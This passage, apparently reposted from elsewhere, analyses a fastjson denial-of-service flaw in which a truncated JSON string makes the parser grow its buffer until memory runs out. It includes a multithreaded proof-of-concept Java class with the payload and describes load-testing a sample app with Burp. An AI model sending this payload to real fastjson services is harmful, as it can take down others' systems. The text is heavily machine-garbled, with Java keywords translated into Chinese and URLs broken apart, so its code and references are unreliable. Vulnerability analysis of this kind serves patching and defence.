Bp==len和ch = = eoi & amp;Bp+1==len认为是iSEOF,但此时bp=10 len=8,后面调用下一个方法只能更大,永远不会满足isEOF的条件,所以上面的putChar(EOI)会无限期执行,sBuf会不断扩展直到OOM。
Emm,但是实际测试中有一些不同。
单线程操作没有OOM异常
第一次运行代码时很快报告了这样一个异常:
NegativeArraySizeException,数组长度为负,没有OOM。
在思想上,在NegativeArraySizeException上做一个异常断点,断点在putChar数组空之间的扩展位置断开:
此时sbuf的长度是1073741824(1g的大小),而sbuf.length的类型是int类型,int类型的最大值是2147483647。
而1073741824×2= 2147483648,刚好一个大,所以溢出:
此时内存占用3.3GB左右。
通过多方查询,java默认最大允许内存是最大物理内存的1/4,应该在5GB左右。此时还没有达到OOM标准,但是因为下溢,先触发了NegativeArraySizeException。
多线程操作触发OOM
既然单线程不行,那就来一大堆,稍微修改一下代码,改成多线程:
import . com . Alibaba . fastjson . JSON;
import . com . Alibaba . fastjson . jsonexception;
公共类fastjsonDos1实现Runnable{
公共静态void main(String[] args) {
新线程(新fastjsonDos1)。开始;
新线程(新fastjsonDos1)。开始;
//新线程(新fastjsonDos1)。开始;
//新线程(新fastjsonDos1)。开始;
//新线程(新fastjsonDos1)。开始;
}
公共无效运行{
String死神_ STRING = " { " a ": x ";
尝试{
object obj = JSON . parse(DEATH _ STRING);
system . out . println(obj);
}catch (JSONException ex){
system . out . println(ex);
}
}
}
我的测试器有20GB内存,两个线程是OOM:
可以看出Thread1首先是OOM,Thread0还是下溢问题,所以虽然线程OOM了,但是java进程并没有挂掉。
为测试编写了一个简单的回弹应用程序。使用burp以10个线程访问,发现虽然一直报告OOM异常,但java进程并没有挂起,内存最终稳定在4GB以上(略小于-Xmx),从而不再触发漏洞,占用的内存也不会减少。
对了,CPU暴涨:
有些想做实验的朋友,可以尝试大幅度改变运行java的-Xmx参数,然后运行,感受一下。(老实人的微笑)
关于OOM
java中的OutOfMemoryError是JVM内部的一个异常,可以被捕获,Kill不会直接导致Java进程被杀死,顶层多线程挂起。
在Linux下,当应用内存超过内存限制时,会触发OOM黑仔机制Kill,以保持系统空正常运行。在linux/mm/oom_kill.c中根据oom_adj选择哪个进程被命名和杀死,被杀死的可能性可以通过设置oom _ adj来调整
所以java默认最大1/4物理内存占用,不容易造成系统OOM(当然我没说的时候你系统的其他进程吃内存怪兽)。
但是,很多关于解决java OOM异常的文章都建议将最大值改为不超过物理内存的80%,这样可能会造成过多的内存占用,被系统Kill。
指
https://github . com/Alibaba/fastjson/commit/995845170527221 ca 0293 cf 290 e 33 a 7 D6 CB 52 bf7 # diff-aa8d 9 D6 e 56964418428 ff 59 FB 887 afae
https://github . com/Alibaba/fastjson/commit/80b 7 B1 e6d 57 a 722 f 7 CCA 549540394 c 3072 ad 8e CB
https://github . com/Omega-Ariston/fastjson/blob/b 44900 e 5c C2 a 0212992 FD 7f 8 f 0 b 1285 ba 77 bb 35d/src/test/Java/com/Alibaba/JSON/bvt/issue _ 2600/issue 2689 . Java
https://blog.csdn.net/liukuan73/article/details/43238623
1.《fastjson FastJson拒绝服务漏洞分析》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《fastjson FastJson拒绝服务漏洞分析》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/tiyu/1173419.html